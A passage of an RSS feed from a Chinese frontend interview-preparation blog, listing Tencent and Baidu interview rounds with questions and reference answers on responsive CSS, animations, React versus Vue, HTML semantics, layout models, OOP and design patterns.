&lt;h3 id="如何实现响应式设计"&gt;如何实现响应式设计&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;使用流式布局&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在 CSS 中使用相对单位（如 &lt;code&gt;%&lt;/code&gt;, &lt;code&gt;em&lt;/code&gt;, &lt;code&gt;rem&lt;/code&gt;, &lt;code&gt;vh&lt;/code&gt;, &lt;code&gt;vw&lt;/code&gt;）设置宽度和高度。例如：
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;container&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* 宽度为容器的 80% */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;利用弹性网格系统&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;创建一个弹性网格布局，可以使用 CSS Grid 或 Flexbox。例如，使用 Flexbox：
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;container&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;display&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;flex&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;flex-wrap&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;wrap&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* 自动换行 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;item&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;flex&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;300&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* 自动调整宽度，最小宽度为 300px */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;margin&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;编写媒体查询&lt;/strong&gt;：&lt;/p&gt;</description></item><item><title>腾讯-音乐 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-49/round-70/</link><pubDate>Fri, 25 Jul 2025 07:17:59 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-49/round-70/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-49/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-49/round-71/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 动画、响应式设计、事件循环、跨域、浏览器的缓存机制、列表和key、生命周期&lt;/p&gt;
&lt;p&gt;本轮共 16 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-e6ed37c33d4d"&gt;1. 请介绍一下你的科研项目经历。&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;STAR法则&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;结合自身经历展开&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-d857524704a9"&gt;2. 为什么选择前端开发作为你的职业方向？&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;无&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;无&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-4c8c7e9b248f"&gt;3. 你学习前端开发有多久了？谈谈你的学习经历。&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;无&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;无&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-5be066a0fa02"&gt;4. 如何使用CSS实现动画效果？举个项目中的例子。&lt;/h2&gt;
&lt;h3 id="题目要点-3"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;transition/animation 区别 / transform+opacity / 项目落地举例 / 动画性能&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h3 id="考察点"&gt;考察点&lt;/h3&gt;
&lt;h4 id="-css-动画相关属性与原理掌握"&gt;● CSS 动画相关属性与原理掌握&lt;/h4&gt;
&lt;p&gt;面试官希望了解候选人是否掌握 CSS 动画的基本实现方式，包括 &lt;code&gt;transition&lt;/code&gt;、&lt;code&gt;animation&lt;/code&gt;、关键帧、补间函数等。&lt;/p&gt;
&lt;h4 id="-能结合项目场景举例说明"&gt;● 能结合项目场景举例说明&lt;/h4&gt;
&lt;p&gt;不仅要懂 API，更重要的是知道什么时候使用、为什么使用，是否有性能考量和交互体验意识。&lt;/p&gt;
&lt;h4 id="-对动画效果的性能与体验理解"&gt;● 对动画效果的性能与体验理解&lt;/h4&gt;
&lt;p&gt;是否清楚哪些动画对性能影响大，哪些动画适合用 CSS 实现，如何避免卡顿或丢帧。&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="参考答案"&gt;参考答案&lt;/h3&gt;
&lt;h4 id="原理说明"&gt;原理说明&lt;/h4&gt;
&lt;h5 id="一css-动画的实现方式"&gt;一、CSS 动画的实现方式&lt;/h5&gt;
&lt;p&gt;CSS 提供了两类动画机制：&lt;/p&gt;
&lt;h6 id="1-过渡动画transition"&gt;1. 过渡动画（transition）&lt;/h6&gt;
&lt;p&gt;通过 &lt;code&gt;transition&lt;/code&gt; 属性定义在样式变更时自动补间的动画：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;button&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;transition&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;all&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0.3&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;s&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;ease-in-out&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;特点：&lt;/p&gt;</description></item><item><title>腾讯云-实习 · 第 1 轮 · 二面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-48/round-69/</link><pubDate>Fri, 25 Jul 2025 05:48:41 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-48/round-69/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-48/round-68/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-48/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮概述：&lt;/strong&gt; 二面，以实际场景、设计架构出发，考察候选人的综合知识和深度&lt;/p&gt;
&lt;p&gt;本轮共 11 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-abdee4b51af2"&gt;1. 描述一个你解决的复杂性能优化案例（指标提升与具体手段）&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;按照START法则来讲解&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;结合自身项目经历来说&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-a58fbf88961e"&gt;2. React/Vue框架设计思想对比（如数据绑定、虚拟DOM）&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;React/Vue/设计思想/双向绑定/单向数据流/虚拟DOM/Fiber/Proxy/模板编译&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h4 id="一考察点"&gt;一、考察点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;是否理解 React 和 Vue 的设计理念与核心架构区别&lt;/li&gt;
&lt;li&gt;是否能准确比较两者在数据绑定、组件化、更新机制上的异同&lt;/li&gt;
&lt;li&gt;是否理解虚拟 DOM 的实现方式及两者的优化策略&lt;/li&gt;
&lt;li&gt;是否能结合实际项目场景，选择合适的框架思路&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="二参考答案"&gt;二、参考答案&lt;/h4&gt;
&lt;h5 id="11-核心设计思想对比"&gt;1.1 核心设计思想对比&lt;/h5&gt;
&lt;hr&gt;
&lt;h3 id="-一框架理念对比"&gt;✅ 一、框架理念对比&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;维度&lt;/th&gt;
&lt;th&gt;Vue&lt;/th&gt;
&lt;th&gt;React&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;核心理念&lt;/td&gt;
&lt;td&gt;渐进式框架，关注视图层&lt;/td&gt;
&lt;td&gt;函数式 + 声明式 UI，构建 UI 的库&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;学习曲线&lt;/td&gt;
&lt;td&gt;简洁、直观、HTML+JS 分离&lt;/td&gt;
&lt;td&gt;更偏工程化，需要理解 JSX、Hooks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;模板机制&lt;/td&gt;
&lt;td&gt;模板语法（HTML-like） + 指令（v-xxx）&lt;/td&gt;
&lt;td&gt;使用 JSX 全部由 JS 描述 UI&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h3 id="-二数据绑定机制"&gt;✅ 二、数据绑定机制&lt;/h3&gt;
&lt;h4 id="-vue"&gt;🔹 Vue&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;使用响应式系统（Vue2 的 &lt;code&gt;Object.defineProperty&lt;/code&gt;，Vue3 的 &lt;code&gt;Proxy&lt;/code&gt;）；&lt;/li&gt;
&lt;li&gt;支持 &lt;strong&gt;双向绑定&lt;/strong&gt;（如 &lt;code&gt;v-model&lt;/code&gt;）；&lt;/li&gt;
&lt;li&gt;模板中变量变化会自动更新视图，开发体验友好。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="-react"&gt;🔹 React&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;数据是不可变状态（immutable state）；&lt;/li&gt;
&lt;li&gt;单向数据流（父 → 子）；&lt;/li&gt;
&lt;li&gt;利用 &lt;code&gt;setState()&lt;/code&gt; 或 &lt;code&gt;useState()&lt;/code&gt; 触发重新渲染；&lt;/li&gt;
&lt;li&gt;更强调“以状态驱动视图”，需要手动绑定与更新。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="-三虚拟-dom-实现与-diff-策略"&gt;✅ 三、虚拟 DOM 实现与 Diff 策略&lt;/h3&gt;
&lt;h4 id="vue"&gt;Vue&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;自主构建 Virtual DOM（与模板语法结合）；&lt;/li&gt;
&lt;li&gt;Vue2 使用双端比较 diff 算法；&lt;/li&gt;
&lt;li&gt;Vue3 引入 &lt;strong&gt;静态提升 + Block Tree + 最长递增子序列（LIS）&lt;/strong&gt;，减少不必要 patch；&lt;/li&gt;
&lt;li&gt;编译优化层更强，template 更容易静态分析。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="react"&gt;React&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;以函数式组件为主，使用 JSX 构建虚拟 DOM；&lt;/li&gt;
&lt;li&gt;使用 Fiber 架构重构更新机制，实现异步可中断渲染；&lt;/li&gt;
&lt;li&gt;更新优先级调度（如 &lt;code&gt;startTransition&lt;/code&gt;）是核心优势之一；&lt;/li&gt;
&lt;li&gt;Diff 算法基于同层比较 + key 优化，机制稳定。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="-四组件设计与状态管理"&gt;✅ 四、组件设计与状态管理&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;对比项&lt;/th&gt;
&lt;th&gt;Vue&lt;/th&gt;
&lt;th&gt;React&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;状态管理&lt;/td&gt;
&lt;td&gt;Vuex（Vue2） / Pinia（Vue3）&lt;/td&gt;
&lt;td&gt;Redux / Context API / Zustand 等&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;生命周期&lt;/td&gt;
&lt;td&gt;Options API（Vue2）/ Composition API（Vue3）&lt;/td&gt;
&lt;td&gt;类组件生命周期 / 函数组件 Hooks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;组件通信&lt;/td&gt;
&lt;td&gt;props / emit / provide/inject&lt;/td&gt;
&lt;td&gt;props / context / props drilling&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-af38f8a1c96b"&gt;3. React Hooks闭包陷阱的产生原因？&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;React Hooks/闭包陷阱/useEffect/useRef/setInterval/函数式更新/stale closure&lt;/p&gt;</description></item><item><title>腾讯云-实习 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-48/round-68/</link><pubDate>Fri, 25 Jul 2025 02:54:17 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-48/round-68/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-48/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-48/round-69/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 一面，更多考察的是八股文的基础知识&lt;/p&gt;
&lt;p&gt;本轮共 20 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-a75b1e9d-9359-47b0-8614-1088eee4b085"&gt;1. 什么是 HTML 语义化？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/a75b1e9d-9359-47b0-8614-1088eee4b085"&gt;什么是 HTML 语义化？&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;先看下什么是HTML：&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;先看下什么是HTML：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;超文本标记语言（英语：HyperText Markup Language，简称：HTML）是一种用于创建网页的标准标记语言。
HTML元素是构建网站的基石。HTML允许嵌入图像与对象，并且可以用于创建交互式表单，它被用来结构化信息——例如标题、段落和列表等等，也可用来在一定程度上描述文档的外观和语义。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;那么如何理解 Web 语义化？&lt;/p&gt;
&lt;p&gt;通俗的来讲就是从代码上来展示页面的结构，而不是从最终视觉上来展示结构。&lt;/p&gt;
&lt;p&gt;单纯的HTML代码是不带任何样式的只是用来标记这一段是标题、这一块是代码、那一个是要强调的内容等等。&lt;/p&gt;
&lt;p&gt;但是为什么我们只写HTML在浏览器中不同的标签也是有不同的样式呢？&lt;/p&gt;
&lt;p&gt;那是因为各个浏览器都自带的有相应标签的默认样式，为了方便在没有设定样式的情况下友好的展示页面。&lt;/p&gt;
&lt;p&gt;良好的语义化代码可以直接从代码上就能看出来那一块到底是要表达什么内容。&lt;/p&gt;
&lt;h2 id="为什么要使用语义化标签"&gt;为什么要使用语义化标签？&lt;/h2&gt;
&lt;p&gt;有伙伴会认为，我用DIV+CSS也能做出来一样的效果，虽然单纯看实现效果，两者并没有什么区别。&lt;/p&gt;
&lt;p&gt;但是页面不止是给人看的，机器也要看爬虫也要看，网页结构更清晰方便开发维护。&lt;/p&gt;
&lt;p&gt;特别是在网络或其他原因页面样式文件丢失的时候，良好语义结构组成的页面，肯定比全是div的页面对用户更友好。&lt;/p&gt;
&lt;p&gt;总结下语义化的优点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;标签语义化有助于构架良好的HTML结构，有利于搜索引擎的建立索引、抓取。简单来说。&lt;/li&gt;
&lt;li&gt;有利于不同设备的解析（屏幕阅读器，盲人阅读器等）&lt;/li&gt;
&lt;li&gt;有利于构建清晰的机构，有利于团队的开发、维护&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-c66a747cbe22"&gt;2. CSS盒模型、Flex布局与Grid布局的区别及适用场景&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;CSS盒模型/box-sizing/Flex布局/Grid布局/一维 vs 二维/布局适用场景/页面结构设计&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h4 id="一考察点"&gt;一、考察点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;是否掌握 CSS 中盒模型的基本概念及布局行为&lt;/li&gt;
&lt;li&gt;Flex 与 Grid 的本质区别及使用场景是否清晰&lt;/li&gt;
&lt;li&gt;能否结合实际 UI 场景选择最合适的布局方式&lt;/li&gt;
&lt;li&gt;是否理解布局系统与页面结构解耦的设计思想&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="二参考答案"&gt;二、参考答案&lt;/h4&gt;
&lt;h5 id="11-原理说明"&gt;1.1 原理说明&lt;/h5&gt;
&lt;hr&gt;
&lt;h3 id="-一css-盒模型box-model"&gt;✅ 一、CSS 盒模型（Box Model）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定义&lt;/strong&gt;：所有 HTML 元素都可以看作一个矩形盒子，由以下四层组成：&lt;/p&gt;</description></item><item><title>百度-百度云-校招 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-47/round-65/</link><pubDate>Thu, 24 Jul 2025 15:06:51 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-47/round-65/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-47/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-47/round-66/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 本轮面试注重基础知识的掌握与表达，涵盖了前端语言、框架原理、计算机基础、网络协议、数据库设计、加密安全等内容，兼顾技术深度与广度。&lt;/p&gt;
&lt;p&gt;本轮共 16 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-d5f454c4c77e"&gt;1. 面向对象和面向程序设计的主要区别&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;面向过程以过程为中心，强调顺序执行逻辑，适合小型程序；&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;ul&gt;
&lt;li&gt;面向过程以过程为中心，强调顺序执行逻辑，适合小型程序；&lt;/li&gt;
&lt;li&gt;面向对象以对象和行为抽象为中心，强调封装、继承、多态，适合复杂系统的可维护性与复用性设计。&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-1e59a267c882"&gt;2. 面向对象的三大特性&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;封装隐藏内部实现、继承提高复用性、多态通过统一接口实现行为差异，三者是构建大型系统的基础。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;封装隐藏内部实现、继承提高复用性、多态通过统一接口实现行为差异，三者是构建大型系统的基础。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-252664a5-1524-46f0-b6ae-ae7e2874f6e2"&gt;3. 开发的过程中你用到过哪些设计模式？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/252664a5-1524-46f0-b6ae-ae7e2874f6e2"&gt;开发的过程中你用到过哪些设计模式？&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;设计模式是一种被广泛接受并经过验证的面向对象软件开发中的最佳实践。它们提供了一套解决常见问题的可重用设计方案。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;设计模式是一种被广泛接受并经过验证的面向对象软件开发中的最佳实践。它们提供了一套解决常见问题的可重用设计方案。&lt;/p&gt;
&lt;p&gt;以下是一些常用的设计模式：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;单例模式（Singleton）&lt;/strong&gt;：确保一个类只有一个实例，并提供全局访问点来获取该实例。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;工厂模式（Factory）&lt;/strong&gt;：通过工厂方法创建对象，而不是直接使用&lt;code&gt;new&lt;/code&gt;操作符。这样可以隐藏具体实现，并根据需要创建所需类型的对象。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;观察者模式（Observer）&lt;/strong&gt;：定义了一种一对多的依赖关系，当一个对象状态发生改变时，它的所有依赖者（观察者）都会收到通知并自动更新。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;装饰器模式（Decorator）&lt;/strong&gt;：动态地将责任附加到对象上。通过将对象包装在装饰器对象中，可以在运行时为对象添加新的行为。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;策略模式（Strategy）&lt;/strong&gt;：定义了一系列算法，将每个算法封装起来并使它们可以相互替换。策略模式可以让算法独立于客户端而变化。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;适配器模式（Adapter）&lt;/strong&gt;：将一个类的接口转换成客户端所期望的另一个接口。适配器模式使得原本由于接口不匹配而无法一起工作的类可以协同工作。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;每个设计模式都有其特定的应用场景和优缺点，可以根据具体情况来选择使用。设计模式可以提高代码结构的灵活性、可维护性和可扩展性，并促进重用和解耦。然而，需要根据实际需求慎重选择和应用设计模式，避免过度设计或不必要的复杂性。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-6e24fdf44b3a"&gt;4. JavaScript 中引用数据类型和基本数据类型&lt;/h2&gt;
&lt;h3 id="题目要点-3"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;基本类型包括 Number、String 等，按值传递；引用类型如 Object、Array 按地址传递，赋值为浅拷贝。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;基本类型包括 Number、String 等，按值传递；引用类型如 Object、Array 按地址传递，赋值为浅拷贝。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-da1881cc-64b9-40f8-8a25-a6256c1349ed"&gt;5. 谈谈对Vue中双向绑定的理解&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/da1881cc-64b9-40f8-8a25-a6256c1349ed"&gt;谈谈对Vue中双向绑定的理解&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点-4"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;Vue中的双向绑定是其核心特性之一，它极大地简化了数据在视图（View）和模型（Model）之间的同步过程。双向绑定意味着当数据发生变化时，视图会自动更新以反映这些变化，反之亦然，用户在视图上的操作（如输入）也会自动更新到数据中。&lt;/p&gt;
&lt;h4 id="实现原理"&gt;实现原理&lt;/h4&gt;
&lt;p&gt;Vue的双向绑定主要依赖于其响应式系统（Reactivity System）和模板引擎（Template Engine）。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;响应式系统&lt;/strong&gt;：Vue使用Object.defineProperty（在Vue 3中使用了Proxy）来劫持（或说“代理”）对象的getter和setter。当组件的data中的属性被访问或修改时，Vue会拦截这些操作，并执行相应的依赖更新逻辑。这样，Vue就能追踪到数据的变化，并在需要时更新视图。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;模板引擎&lt;/strong&gt;：Vue的模板引擎使用基于HTML的模板语法，允许开发者声明式地将DOM绑定到底层Vue实例的数据上。当数据变化时，Vue的模板引擎会重新渲染模板，生成新的虚拟DOM树，并通过高效的DOM diff算法更新真实的DOM，以反映数据的最新状态。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h2 id="一什么是双向绑定"&gt;一、什么是双向绑定&lt;/h2&gt;
&lt;p&gt;我们先从单向绑定切入单向绑定非常简单，就是把&lt;code&gt;Model&lt;/code&gt;绑定到&lt;code&gt;View&lt;/code&gt;，当我们用&lt;code&gt;JavaScript&lt;/code&gt;代码更新&lt;code&gt;Model&lt;/code&gt;时，&lt;code&gt;View&lt;/code&gt;就会自动更新双向绑定就很容易联想到了，在单向绑定的基础上，用户更新了&lt;code&gt;View&lt;/code&gt;，&lt;code&gt;Model&lt;/code&gt;的数据也自动被更新了，这种情况就是双向绑定举个栗子&lt;/p&gt;</description></item><item><title>百度-百度云-校招 · 第 1 轮 · 三面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-47/round-67/</link><pubDate>Thu, 24 Jul 2025 15:06:51 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-47/round-67/</guid><description>&lt;blockquote&gt;
